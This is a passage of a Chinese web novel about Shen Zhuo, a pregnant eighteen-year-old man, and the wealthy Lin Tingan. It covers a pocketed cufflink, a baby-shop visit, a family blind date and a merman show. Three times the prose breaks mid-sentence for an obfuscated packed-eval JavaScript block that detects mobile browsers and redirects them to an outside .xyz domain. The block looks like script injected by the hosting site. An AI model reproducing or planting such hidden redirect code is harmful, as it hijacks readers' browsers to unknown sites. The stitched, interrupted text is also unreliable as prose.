【我看着不像假的呀,哥们,日子过不去了?开始变卖家产了?不对啊,要卖也是现卖房啊,卖个破扣子顶啥用?】 第二天,林庭安刚醒,手机上的消息就轰炸一样响个不停。 打开一看,好几条都是冯尽发的,中间还夹着一张图片。 他点开图片,是三个熟悉的英文字母,精致小巧的图标点缀在右下角,那是唐家珠宝行的标志性图腾。 林庭安的母亲,也就是唐卿的母家是从事珠宝生意起家的,唐家珠宝行总部在卞安,因着唐卿嫁到了京都,珠宝行就在皇城脚下开了分行。 这图腾虽小但设计巧妙,元素复杂,饶是再精致的手艺也仿不出盗版来。 林庭安大脑飞速运转,沉思片刻,回复道:【哪里看的,原贴发过来。】 发完消息,他叫阿姨拿来了昨天穿的西装外套,询问后阿姨才支支吾吾道:“这……这扣子确实丢了一颗,肯定是我粗心不知道丢哪了,怕先生责罚才没敢说。” 家里的阿姨是一个月前新招的,林庭安的性子闷,在家也一脸严肃,家里几个阿姨都怕他,就连服务了十几年的生活助理面对这尊佛也战战兢兢,生怕惹了什么不快。 “不是你弄丢的。” 林庭安展开西装的衣袖,凑近放在鼻子下闻了闻,除了家里常用的洗涤剂味,还混着淡淡的他香。 他瞬间想到了昨天扑到自己怀里的小孩,看着十七八的样子,成没成年都还是个迷,胆子倒是不小。 “你下去吧,这事不怪你,扣子是我自己弄掉的。”林庭安吩咐道。 阿姨闻言就像听到了赦免令,连忙点头哈腰地道谢,离开了卧房。 冯尽:【链接发你了,不过这东西真是你的?】 林:【谢了。】 问完话,冯尽的消息刚好弹出来,林庭安点开那条长链接,最先弹出来的是软件下载的页面。 他从不用这些娱乐软件,唯一的还是手下员工替他经营的wb账号。 这个从来不用大众娱乐软件的人,在看到小广告一样弹出来的下载框时沉默了。 下载还是不下载这是个问题,林庭安皱眉看着轻微磨损的西装袖子,这点钱还不至于他亲自去追究,但心里却莫名有些发痒。 他逗过猫逗过狗,还没逗过人。 * 沈茁这一觉睡到了日上三竿才醒,宝宝的月份还不大,但他却能感受到自己的精力越来越不如从前。 以往在外面工作一天也倍精神,现在出去半天恨不得休息一整天才能缓回来。 刚睁开眼就看到孟也正坐在他旁边,满眼担忧看着自己。 “你可终于醒了,吓死我了,”孟也长吁一口气,拍着胸脯说:“我以为你怎么了呢,睡到现在还不醒。” 沈茁揉揉眼睛,看了眼时间,恹恹道:“孟哥,抱歉,我昨天有点累,一下睡过头了。” “没事,你现在睡多点也好省的到处乱跑。”孟也语气忿忿,显然还在因为昨晚沈茁晚归的事情生气。 沈茁正因这事愧疚呢,听孟也这么说心里更难受了,他下床拉开书桌最下面的小抽屉,拿出一个东西攥到手里。 坐回到床上,神秘兮兮地说:“孟哥,我跟你说件事你别生气。” “啥事呀?”孟也一头雾水。 沈茁举起攥成拳头的右手,停在孟也眼前慢慢展开,手心里正是那枚价格不菲的袖扣。 “孟哥,我不知道怎么卖,你帮我卖了吧。” “这东西你哪搞来的?”孟也瞪大眼睛,捻起扣子着急忙慌看了起来,边看边斥道:“沈茁你可真出息了,我说你昨天晚上去哪了呢,大脖子跟让人掐了一样,我都没好意思说!” 他急得直打转,赶忙拉上窗帘,打开床边的台灯,把东西放在灯光下仔细看了许久。 三分钟后,窗帘被重新拉开,阳光打进来刺激得沈茁微微眯起了眼。 下一秒,孟也冲到他面前,严肃道:“东西是真的,老实交代到底哪来的?” “孩子……孩子爹的。”沈茁怯生生地说。 他被孟也的表情吓到了,缩起脖子问:“孟哥,有……有什么问题吗?” “你知道孩子爹是谁?”孟也快要被气抽过去,他抓着沈茁的肩膀,把人拉倒客厅审问,“所有,一切,全都一五一十给我交代出来!” 沈茁小学生一样乖乖把双手放在膝盖上,发红的眼睛一眨不眨看着孟也,嗫喏着将自己的一切全盘托出。 从前孟也也曾生过他的气,但没有一次像今天这样,眼神都变得犀利。 沈茁是真的害怕了,他怕孟也不喜欢他,不愿意再跟他做朋友。 就像过去十八年那样,没人愿意跟没人爱的小孩做朋友,这是个让人讨厌的恶性循环。 听沈茁讲完事情的经过,孟也缄默在原地,怔了几秒猛地站起来,冲过去扒开沈茁的睡衣领子。 大热的夏天他穿了件带Polo领的睡衣,孟也心疼地摸了摸沈茁脖子上青紫的痕迹,骂道:“这人脑子进水了吧,无缘无故掐人脖子。” 沈茁张开嘴想说点什么,可话哽在喉咙里,让他发不出一点声音。 “孟哥……”他抱住孟也的腰,哭着说:“你别讨厌我,我不是故意偷东西的,我是不想你有压力。” “你对我太好了,好到我不知道该怎么办了,”沈茁的眼泪一点点浸透孟也的衣服,他抽抽搭搭道:“我没敢算养肚子里的孩子到底要花多少钱,我知道我负担不起。” “我之前得罪了人,又没有学历,现在根本没有人敢雇我当服务生,我卖手工的钱就那么点,细水长流的事一时半会发展不起来,进账的钱都是有数的,” 说着,沈茁抬起头,看着孟也的眼睛,满眼真诚:“我真的不是故意的,你别因为这个生气,行吗?” “哎呀,我什么时候道德感那么强了?”孟也搂过沈茁的脑袋,恨铁不成钢道:“我是心疼你!” 心疼我…… 沈茁呆愣了下,揪住的心慢慢放松下来,无辜茫然的眼睛看向孟也。 “不是我舍不得,但是你男人有钱你就叫他养你啊,”孟也说,“我的意思是,你能靠着这孩子过上好日子,就别钻牛角尖。” “不行,”沈茁摇摇头,“孟哥,我懂你说的,但是这太不现实了。” “从前我没什么盼头,自打有了这个孩子,我才算是有了活下去的理由,”沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799726|175071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茁低下头,轻轻笑了,“虽然他还没成型,但我真的很爱他,没办法离开他。” “如果我是女生兴许还有机会,大不了提要求先结了婚再说,可我是个男的,婚姻法不会保护我,我怕孩子也被抢走。” “那时候我就什么都没有了,”哪怕只是假设,沈茁都好似感受到了那种骨肉分离的痛楚,他艰涩道:“如果他们只要孩子,一笔钱打发了我,我要那么多钱又有什么用呢?” “你啊……”孟也叹了口气,“你才十八,正是好年纪,怎么说话老气横秋的呢。” “我这是看得明白,”沈茁突然笑了,“我知道自己要什么,所以孟哥你帮我看看,能不能把这东西卖了,我就有钱养孩子了。” “傻孩子,你说你抢什么不好,非得搞这个回来,”孟也又气又无奈,“这东西一看就是私人订制的,你咋卖?” “有钱人不会在网上卖个陌生网友的天价袖扣,还只有一枚!” “只能去专门的地方回收,但你男人有名啊,在京都你前脚刚把这东西回收了,可能下一秒就被人抓起来,关小黑屋了!” 孟也这话虽然有添油加醋的成分,但事实就是如此,他只好安慰沈茁,“要我说这东西你就留着收藏吧,别跟别人说,咱就当没这回事。” “其实养个孩子也花不了多少钱,一会我陪你去楼下母婴店逛逛,咱俩好好算算,你心里就有底了。” 沈茁:…… 他此刻的心情很复杂,复杂到自己都体味不出具体的感觉,只知道强大的冲击后脑子里全是麻木。 老天向来薄待他,他已经习惯了,闹了一圈却竹篮打水一场空的事他没少干,现在沈茁唯一担心的就是昨晚临睡前发的那个帖子。 他应了几句支开了孟也,一个人躲在房间打开了昨晚发帖的app。 昨天那帖子他发的晚,几乎没引起什么水花,但奇怪的推送机制好像把他这个帖子全推给了本地人,仅有的几条评论也都让他丈二和尚摸不着头脑。 83HDKEA7:【牛】 JH922JHA:【慕名参观】 用户已注销:【666,兄弟牛逼】 沈茁看不明白,但心里却有种不好的预感,他点开账号后台,发现有一个人给他发了一条私信。 L:【需要估价吗?加我微信,细聊。】 沈茁不是傻子,结合评论区,再蠢的人也能看出这是在钓鱼。 他心里憋着气,重重戳了几下手机,把那个“L”关进了小黑屋。 操作完,沈茁越想越气,又把人拉出来,编辑了一长条文字发了过去。 小沈:【你是坐在水库一下午,连小鱼苗都钓不上来,所以要在网上钓鱼吗?还是生活不顺,觉得在网上骗人很好玩?把别人当傻子,其实你才是最傻的那个!祝你这辈子都没钱!!!】 发完他以最快的速度,重新把L关进了小黑屋,绝不给L反击的机会。 另一边,林庭安正坐在办公室听手下的人汇报工作,突然手机响了。 他拿起来看了一眼,瞬间定在了原地,抬手摸了摸鼻子,林庭安直接气笑了。 戏弄人这事他果真学不会,干这活还是冯尽在行。 要不哪天跟他取取经? 16. 第 16 章 “沈茁,你看这个,我的妈呀太可爱了!” 孟也指着货架上挂着的小衣服,一副被萌化的表情,夹着嗓子说:“小宝宝的衣服怎么这么奶呀,面料看着就软。” 沈茁一进母婴店,实现就被玲珑满目的商品吸引住,左侧的服装分区一片五颜六色,右边奶粉区更是种类繁多,他眼睛都不知往哪看。 孟也没想那么多,拉着沈茁径直走到了服装区。 这家母婴店面积很大,分上下两层,一楼分区明确是供人购物采购的,每个区域都配了专门的导购员,二楼则专供会员使用,可以学习专业的育儿知识,也有学龄前儿童玩耍的地方。 小婴儿的服装大多以白色为主,随着年龄增大,衣服的颜色和设计也越来越复杂。 孟也看着52码的连体衣,整个人双眼冒光,“沈茁,你千万别跟我客气,今天我必须得给干儿子买件漂亮衣服穿!” “孟哥,还不知道是男孩女孩呢,”沈茁莞尔,“现在买是不是太早了。” “不早!”孟也大手一挥,“谁也别阻止我给干孩子花钱!” 什么干孩子啊。 沈茁被这个称呼逗笑了,他亮晶晶的眼睛扫过奶呼呼的连体服,整颗心都跟着柔软下来。 “先生们,是要给多大的孩子选衣服呢?”一旁的导购适时走过来,脸上是标准的职业式微笑。 “宝宝,宝宝还没出生呢。”沈茁下意识抚上自己的肚子,有些尴尬地说。 “是要给准妈妈准备待产包吗?”导购问。 闻言,沈茁跟孟也不约而同对上视线,“准妈妈”这个词让两人心中起了不同的化学反应。 导购说的准妈妈指的自然不是沈茁,但他却因为这个称呼第一次对自己要当“妈妈”这件事有了实感。 十月怀胎后,一个真真实实的人会从自己的肚子里出来,他会听到宝宝的第一声啼哭,将小小的人养到那么大。 那么柔软的身体,会乖乖躺在他的臂弯里,听他讲故事、唱童谣。 这样神圣的角色,他一个男人这辈子竟然有机会体会,这简直太神奇。 想到往后种种,沈茁一颗心腾的沸腾了,灼热感自内里烧到外面,他因为心神劳累苍白不已的脸都渐渐恢复了血色。 孟也没有沈茁想的那么多,他只是突然回过味来,自己身边竟然真的有个男的怀孕了! 我艹,这也太神奇了,这别人八百年遇不到的事,他才二十出头就遇上了! 导购见两人都没说话,解释道:“先生是不是不了解待产包,简单说就是孕妇在生产之前需要准备的东西,一般都会提前准备好,等生产时才能及时用上。” “美女,我们家这位孕妇才怀了不到三个月,你给我们介绍点别的吧,我们就想先了解了解。”孟也说。 沈茁点点头,“我们还都不太懂,辛苦你给我们介绍一下了。” 导购笑着说:“不客气,那我们就先从最基本的开始。” 孟也住的事高档小区,楼下这家母婴店的用户定位也是高端消费人群,店里一应的商品要么是进口产品,要么是国产的顶级货。 周一店里的人不多,导购手上没有客人,因此给两人介绍得十分详细。 “小婴儿的皮肤都很嫩,衣服面料最好选这种,这是最近几年新研制出的面料,比纯棉的更透气亲肤,就是容易褶皱和磨损,不过这一点只要经常换就好。” 导购拿下来一件奶黄色的包屁衣,介绍道:“两位可以看看这个,男孩女孩都可以穿,刚出生的婴儿不追求美观,”她指了指另一排的公主裙,“等长大一点就可以穿这种好看的了。” 沈茁和孟也点点头,有道理。 偷偷看了眼标签,多大的布啊688一件! “孩子的培养是从出生那一刻就开始了的,视觉、听觉、触感都是潜移默化中培养的,一些小玩具既可以锻炼宝宝的注意力,也可以培养宝宝的五感。” 导购将二人引到益智玩具区,拿起一个小羊形状的毛茸摇铃圈,晃了晃说:“像这个可以锻炼宝宝的视追功能,还有布书可以锻炼宝宝的手指灵活。” “这些早教产品是针对小月龄宝宝的,这个年纪的宝宝喜欢用嘴探索世界,所以玩具的用料更要健康,我们店里的都是环保材质,绝对无毒无公害,支持全国检测的。” 两人再次对视,有道理太有道理了,确实得注意孩子的培养和健康。 再看价格标签,啥摇铃440一个啊,啥布做的书这么贵才几页就三百多了。 沈茁咽了咽口水,脸上刚恢复的血色全给吓回去了。 “还有奶粉是最最重要的了,”导购拿起一罐蓝白色的奶粉罐,问:“请问孕妇是打算母乳还是奶粉喂养呢?” “额……”沈茁还没从震惊中缓过来,磕磕巴巴说:“母……啊不对吗,奶粉喂养。” “对,我们不母乳的。”孟也补充道。 就是想母乳也母乳不了啊。 “那我比较推荐这一款,这款是国际大品牌,是十年的老系列了,从出生到宝宝断奶这一整个系列都有,奶粉的质量也是经过多年市场验证的。” 导购笑容满面,越介绍越起劲,“这款现在正在打折,原价888,现在搞活动可以打八八折,二位可以买一箱囤着。” 沈茁:“不着急,我们……我们等快生的时候再囤,日期新鲜点。” 导购点点头,“二位考虑得真周到,其实不只这些呢,宝宝睡觉如果只睡一边头型会不好,用这款花朵绵绵小枕头可以给宝宝睡出好头型。” “宝宝要涂的面霜,擦屁屁的,婴儿沐浴露,安抚巾……” “宝宝皮肤柔软最好用棉柔巾擦拭宝宝的皮肤,婴儿车更不能少了,我们店强推这一款只要两万八,功能齐全可以用很久呢。” “还有这个口水巾,跳跳球小玩具,专门洗屁屁、洗澡的小盆,还有纸尿裤更不能少了。” “不只是孩子,孕妈妈的妊娠油买了吗?还有孕期睡衣,孕妈妈不母乳的话就不用买前开襟的了,我们推荐这款睡衣,版型宽松面料也好。” “有想好孕妈妈生产后的恶露要怎么处理吗?孕后期妈妈的心理问题也要关注,不然妈妈可能会产前抑郁的,恶露等问题处理不好也可能产后抑郁,推荐这本书可以现在就看一看,缓解孕妇压力。” “奶瓶想选什么材质的呢?我们这都是食品级硅胶的,保证健康,还有宝宝大一点要喂辅食了,小勺子要柔软的,也不能藏污纳垢,推荐哈尼兔子家的这款,很好清理,不伤宝宝口腔。” “……” 两人从母婴店出来的时候,天已经快黑了。 二人的脑子都嗡嗡的,一脸呆滞站在门口,耳边仿佛还环绕着导购的声音:“宝宝,宝宝,宝宝,孕妇,孕妇,孕妈妈……这款好,这款健康,这款打折……” 沈茁咽了咽口水,语气僵硬道:“孟哥,几点了,我脑子怎么不转了。” 一旁的孟也更是眼冒金星,“不对劲,太不对劲了,怎么心里更没底了呢?” “养孩子得买这么多东西吗?”孟也眉头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799727|175071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拧成一团,满面疑惑,“一定是打开方式不对,咱回家再细研究研究。” 沈茁咬着嘴唇,挠了挠头,导购推荐的东西好像都能用上,但是也不是都要用。 只有奶粉和纸尿裤是必需品,衣服不必买贵的,奶瓶也可以买平价的。 可是……可是听导购说完,他心里怎么好像长了草。 想给宝宝用好的,看他穿舒服好看的衣服,喝最好的奶粉,玩精致的玩具,抱着可爱的安抚玩偶睡觉,看最权威的绘本…… 他自己就是吃糠咽菜长大的,不锈钢勺子喂的米糊也能喂活一个孩子,可他发育不好身高只有一米七几,体重怎么吃都上不去。 难道他的孩子要跟他一样,重复这样的命运吗? 沈茁不是个喜欢钻牛角尖的人,从前十八年也未曾这样别扭过,否则过往的日子那么多死胡同,他稍微较真一点都活不下去。 可自从有了宝宝,他就没办法不考虑这些,反而是越细想脑子越乱。 浑浑噩噩回到家,两人坐在沙发上好一会没说话。 “这家店不行,价格虚高,”孟也先开了口,“晚上咱上网看看,养孩子肯定不用这么多钱。” “那人就是推销产品,才把东西说那么好,好像不用那些孩子就发育不好了一样,”孟也说,“你别忘心里去,那都是抓住了父母为孩子好的心理。” “咱小时候啥也没有,不也活到现在了。” “嗯,你说的对,”沈茁苦笑着点点头,“孟哥,谢谢你。” “谢我干啥,”孟也突然站起来,轻咳一声不自然道:“那个啥,我才想起来有个调料忘买了,我下去一趟。” “好。” 孟也走后房间一下子陷入了死一般的寂静,沈茁在凝固的空气里呆坐了三分钟,然后拿着钥匙出了门。 宽大的T恤因为走得太快灌满了风,沈茁步履匆匆又回到了那家母婴店,他走到玩具区,暖色调的灯光下每一个精致的玩偶仿佛都镀上了一层柔光。 他看着那个可爱的毛茸摇铃圈,温柔地笑了。 “麻烦帮我拿一个这个,”沈茁指着小兔子形状的摇铃圈说,“要新的,谢谢。” “好的,您稍等。” 店里的服务很好,店员拿出全新的小兔摇铃圈,打算放进精美的礼品盒里包起来。 “不用了,”沈茁打断道,“直接给我就行,谢谢。” “好的。”导购笑着说。 结完账,沈茁心满意足离开了母婴店,他坐在店对面的长椅上,把摇铃圈靠近自己的肚子,隔着透明包装袋晃了几下。 摇铃圈发出清脆的响声,沈茁跟着铃铛声一起笑了。 这时突然有个人风风火火走了过来,那人像被鬼追了一样,走得老快。 沈茁瞪大眼睛,看着他走进了母婴店。 孟……孟哥? 那是孟哥吗? 沈茁大脑宕机,还没想明白,母婴店的门被猛地推开。 孟也手里多了个小玩偶,他好像没看到沈茁,边走路边低头看着玩偶喃喃:“我去,这也太可爱,咋这么可爱呢。” 走了两步,孟也才发对对面椅子上坐了个人。 两人对视了几秒,同时惊呼出声,都把对方吓个不轻。 沈茁看着孟也手里的中号邦尼兔,又看了眼自己手里的小兔子,无声笑了。 笑着笑着,眼角泛起了泪花。 那一瞬间,他好像突然想明白了什么,或许孟也说的是对的,能让孩子过好日子最重要,别钻牛角尖。 17. 第 17 章 沈茁手都抠出血了,也没把袖扣上的宝石扣下来。 他把东西放在灯光下,慢慢变换角度,观察蓝宝石折射出的彩光。 这东西的底板是纯金的,拿去金店融掉,宝石大概会自动脱落。 融掉的金子刚好可以打成金锁,小碎钻可以给镶在金锁边上,给宝宝戴。 蓝宝石送到珠宝店卖,应该不会被人抓起来吧? 正思考着袖扣分解计划,桌上的手机突然响了。 沈茁拿起手机,是一串没有备注的号码。 犹豫几秒,他按下了接通键,与此同时孟也端着水果走了进来。 沈茁指了指耳边的手机,把手指放在嘴边,打了个噤声的手势。 孟也接收到信号,轻手轻脚把水果放到沈茁面前,转身要走。 沈茁拉住他,摇了摇头。 电话那边是个中年男人的声音,沈茁听了几句,才想起来这人是谁。 “真的吗!今天下午就开始,时间会不会有点紧?” “我没问题的,只要您愿意用我,我现在就出发,您别担心之前学的我都没忘。” “好,钱等结束您再给也行。额……专车来接吗?也可以,那我马上把地址发您。” 挂了电话,沈茁双眼放光,猛扑到孟也身上抱着他一通乱蹭,“孟哥,我有活干了!” “好好说,”孟也推开他毛茸茸的脑袋,询问道:“啥活呀,今天下午就去,这么急?” “是去游乐场做美人鱼表演的,”沈茁边换衣服边解释,“我刚来这的时候做过半个月的美人鱼表演,只不过那时候还没成年,后来场里查得严就被辞退了。” “馆场老板刚刚给我打电话,说今晚水族馆有个大型的美人鱼表演,但是正式演员和替补同时受伤了,临时找不到其他替补,希望我去救场。” 沈茁穿了件宽松的黑色短袖,小脸笑得通红,“孟哥,你知道这一场老板给我多少钱不?” “多少钱?”孟也皱眉看着沈茁,心里莫名有些担心,“你可悠着点,肚子里还有孩子呢。” “一万!”沈茁笑得合不拢嘴,眉飞色舞道:“因为今天是游乐场周年庆,美人鱼表演是主推项目之一,所以才给了这么多。” “那你要戴假发吗?”孟也整个脸皱成一团,疑惑地问。 “不用,”沈茁笑着摇头,“我是男美人鱼呀。” 他抬起双手在空中合十,比成小鱼的形状,左右摇晃几下,道:“我是美人,扮成鱼,那我不就是美人鱼啦。” “傻样,”孟也被沈茁欢快的气氛感染到,噗嗤笑了出来,“你注意点,水那么凉你身体能行吗?” “没事,”沈茁完全沉浸在喜悦里,现在什么都不能阻挡他赚钱,“馆里有热带鱼,水里面放了加热棒,温度不会很低的。” 说完,沈茁的电话又响了,是专车司机发来的消息,说已经在路上,让他下楼去等。 “我走了,”沈茁穿上袜子就往门外跑,冲出去前留下了最后一句话:“孟哥,等我回来请你饭。” 这句话他是喊出来,孟也听了心里挺不是滋味。 有种孩子长大了,要去受苦赚钱的感觉。 他看向窗外,艳阳高照,沈茁一点防晒措施都没做,真是不让人省心,太不省心! * “不省心,不省心。” “傻孩子,生孩子,生孩子,傻孩子。” “你看连鸟都说你不省心,”唐卿换好拖鞋,把鸟笼子挂在了窗边支起的立架上,“你顾叔叔送你爸的,你爸让我给你送来。” “国外新发现的鹦鹉品种,学舌能力比灰鹦鹉还强,”唐卿边逗鸟边说,“你爸给它取了名叫彩凤,这鸟品相好,头顶无光时是白的,阳光下就会变成彩色。” 几句话听得林庭安满头黑线,他好不容易有两天的假期,阿姨新煮好的咖啡还一口没喝,他妈就拎着鸟上门了。 最无语的是,这鸟一进门就叽叽喳喳,吵得他脑袋疼。 “您来我这就是为了送鸟?”林庭安靠在沙发上,看着那个通体白玉色的鹦鹉,眯起眼睛道:“这鸟太吵了,您一会拿回去吧,我那架子是放画的,承受不了笼子的重量。” “这不挂的好好的,”唐卿戳戳彩凤的小脑袋,收敛起笑容看向自家儿子,“一会顾家那小子来,你俩研究一下出去走一走,玩一玩。” “您把我家地址告诉他了?”林庭安语气不悦,眼里满是不耐,“妈,我尊重您是长辈,但您也不能私自泄露我的隐私。” 林庭安对唐卿向来尊敬,他妈生他不容易,在医院躺了一天才把他生出来,因此他尊敬这个给予他生命的人。 但因为他性取向的事,唐卿好像变了个人一样,他就想不明白了,到底是什么让他光风霁月的妈妈,变成了整日催生催婚的女人。 唐卿拿包的手一紧,看着儿子眼里一闪而过的嫌恶,她脸上的表情彻底消失殆尽。 嘴唇动了动,无数想说的话涌到嘴边,最后都化作一声冷笑。 她是泡在蜜罐子里长大的,作为家里最小的女儿,从出生就千娇万宠,但她不仅没长歪反而因为与生俱来的数学天赋一路硕博,最后留在了京大任教。 林庭安小时候不算个听话的孩子,但他聪明有洞察力,她和林建群都知道,小孩子调皮一点没什么,在大是大非面前不怯场有主见才是重要的。 因此两人对林庭安属于半放养状态,尊重他的一切,只要不出格不触犯底线。 唐卿从未跟自己的儿子讲过,那些自由皆因为他还没触碰到父母的逆鳞。 母子二人沉默地对视着,双方都在对方眼中看到了不满。 林庭安叛逆期的时候,也曾跟父母爆发过争吵,但这样长久又别扭的冷峙却从未有过。 在寒气即将吞并这对母子的前一刻,门铃突然响了。 唐卿宛然一笑,走过去开门。 林庭安收回视线,敛去了眼中的情绪。 “唐阿姨,没打扰您吧。” 顾望西的声音从门口传来,他的声音很清爽,嗓音不粗不细恰到好处。 唐卿慈爱地拉起顾望西的手,把他带到林庭安身边坐下,“小顾,想喝点什么?” “阿姨,您别客气了,我刚跟朋友出去玩回来,这会肚子正撑呢。” 顾望西穿了件牛仔拼接的纯白衬衫,配了条宽松的牛仔短裤,是标准的青春男大穿搭。 二十岁正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799728|175071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是精力旺盛的年纪,他家里长辈开明,整个人就跟八九点的太阳一样,精气神别提多足了。 唐卿越看他越喜欢,叫阿姨端了杯可乐放到顾望西面前,她看了沙发上的两人一眼,“阿姨学校里还有事,就不陪你们了,小顾啊,想去哪玩就让你庭安哥哥陪你。” “好……好的阿姨。” 顾望西拘谨地挺直了背,目送唐卿走到门口,优雅地换掉拖鞋推门离开。 全程林庭安没说一句话,临了还是被唐卿一句“庭安哥哥”搞得头皮发麻。 “你想去哪玩?”林庭安问。 他突然开口,把顾望西给吓了一跳。 “哪都行,我不挑。” 刚才唐阿姨把他往林庭安身边一塞,两人屁股贴着屁股,他别提多尴尬了,想躲又感觉不太好,贴着又觉得别扭。 顾望西心里几个羊驼奔过,要不是被家里威逼利诱,他大好的时光不跟朋友出去玩,跑着来相什么亲啊。 他才多大,二十! 这是相亲的年纪吗?! 不过…… 顾望西侧头看了眼林庭安,这人正在喝咖啡,端杯子手还挺好看的,鼻梁比他见过的很多欧美明星还挺,三庭五眼的比例和谐到像假人。 身材也挺不错的,尤其是大腿又长又粗,听说这人刚接手林家的第一笔生意就大放异彩,这样的人要是做他的男朋友好像也不错。 就是不知道他在床上行不行,顾望西因为这个被人伤过,他的初恋就是个哪哪都好的帅哥,一开始他只有一个缺点就是穷。 但顾望西自己有钱,这个缺点也就不算啥缺点了,直到两人第一次在酒店开房,他那个初恋刚脱裤子就萎了。 顾望西大受打击,使出三十六计也没让小初恋重新y起来,从此他再也没谈过恋爱。 并且留下了个坏毛病,见个男的就会下意识思考,他到底行不行。 “那个,你想让我怎么称呼你?”顾望西问。 要他叫什么庭安哥哥是绝不可能的,他又不是三岁小孩! “随你,”林庭安放下咖啡杯,打量了顾望西一眼,收回视线后淡淡道:“叫我全名就行。” “你怎么说也比我大一岁,这样太不礼貌了,”顾望西思忖几秒,眼睛一亮说:“我叫你林哥吧,显得你辈分大。” “随你,”林庭安心里憋着气,但他也不会拿一个无辜的陌生人撒火,整理了一下情绪,他耐着性子问:“你想去哪玩?” “都行,我不挑。” 顾望西突然又想到了他的小初恋,小初恋说要带他去游乐场玩,还没去呢就萎了,他每次深夜emo的时候,想起这事就觉得遗憾。 “去游乐场吧,”顾望西说,“听说今天是周年庆,还有烟花秀和人鱼表演呢。” “烟花秀,烟花秀,人鱼表演,看美人鱼,看美人鱼。” 顾望西话音刚落,彩凤就开始学舌。 林庭安眉头一皱,锐利的眼神狠狠看了彩凤一眼。 彩凤立刻噤声,缩起脖子,假装无事发生左看看右看看。 “这小东西真有灵气。”顾望西惊喜道。 “它不是有灵气,”林庭安吐槽,“纯属嘴碎。” 18. 第 18 章 “小沈,你穿这条蓝紫色的人鱼尾巴。” 工作人员拿了条美人鱼尾巴,往沈茁身上比了比,露出欣慰的笑容,“小沈,才多长时间没见,你身上可算多了几两肉。” “最近吃得有点多,”沈茁不好意思道,“张哥,听说是您跟馆长推荐的我,真是太感谢您了。” “诶,”张哥连忙摆手,“你跟哥客套啥,哥知道你不容易,刚来这的时候比腊肉干都瘦,谁看了不心疼。” 张哥是个东北人,为人热情跟谁都能聊两句,沈茁还在这工作的时候,张哥没少帮他。 他心里感激,搓了搓手说:“张哥,您几点下班,晚上要不一起吃个饭?” “想请哥吃饭啊?” 张哥凑过去,用肩膀撞了沈茁一下,小声道:“哥现在管的事多半夜才下班,不用你请吃饭,倒是……我听人说你现在都住上大豪宅了?” “没有没有,”沈茁赶忙否认,“那是我朋友的房子,我只是借住。” “那你这朋友可真有钱,”张哥像是想到了什么,长叹口气感慨:“哥在这干了快十年了,闺女都上小学了,在这还连个厕所都买不起。” “张哥,您闺女那么可爱,媳妇既漂亮又有自己的事业,已经比很多人强了。” “说的也是,”张哥拍拍沈茁的肩膀,扬了下头说:“行了,一会排舞的老师就来了,你仔细听一下走位,好好排练,哥去别地儿忙了。” “好,您慢走。” 美人鱼表演是这次周年庆的重要节目,因此馆里额外请了专业的舞蹈演员提前半个月来排练。 几位舞蹈演员都是一个舞团的,见张哥走了,一个穿着黄色连衣裙的女生主动过来跟沈茁搭话。 “你就是那个来救场的吗?”女生眼睛放光,“你也太瘦了,这条尾巴你能穿上吗?” 沈茁拎起尾巴贴在自己腰上量了一下,他的小腹已经比之前稍微粗了些,但男人鱼的尾巴跟女人鱼的不同,整体也会更大一点,这一条比他的腰宽了几分,穿上准保会掉。 “要不你穿我们备用这条?”另一个卷头发的女生提议,“你穿女生的尾巴应该刚好合适。” 正说着一只手伸过来,把一条金黄色的人鱼尾塞了过来,“你穿这个,到时候腰上系一个长丝巾。” “娜姐,你来得可真及时。”卷头发惊呼。 沈茁看了眼纸箱子里的鱼尾,犹豫道:“可是……你们都是蓝紫色的,我穿这个会不会有些格格不入?” “得了便宜还卖乖。”娜姐忿忿,留下这不清不楚的一句话就走了。 沈茁搞不清状况,不敢再说话,生怕说多错多,只好坐在一旁等编舞老师和导演来安排。 扮美人鱼这个工作不可谓不辛苦,不仅需要演员通水性,还要在水下长时间睁眼,憋气的同时要微笑着跟观众互动。 如果不是一万的救场费,沈茁绝不会考虑在怀孩子的时候做这个。 现在他只能祈祷,宝宝生命力顽强,他每天按时喝药,一晚上的表演应该不会有问题。 编舞老师是个三十出头的年轻女性,她刚一来就把张哥拿来的人鱼尾嫌弃地扔到一边,下令道:“你在c位,穿这条黄的。” 沈茁这时才终于明白,为什么那个叫娜姐的女生会突然对他不满,可他只是为了钱来的,c位不c位他根本不在乎。 排练还算顺利,除了刚开始不适应水下环境犯了点小错误,沈茁的表现还算是对得起一万的出场费。 就连导演都忍不住夸赞:“还真是塞翁失马,焉知非福啊。” “要不说金色大气呢,这金灿灿的在水里一游,别提多耀眼了,男人鱼也是特色,小沈身段也好,够灵活够欢快,哈哈哈哈哈。” 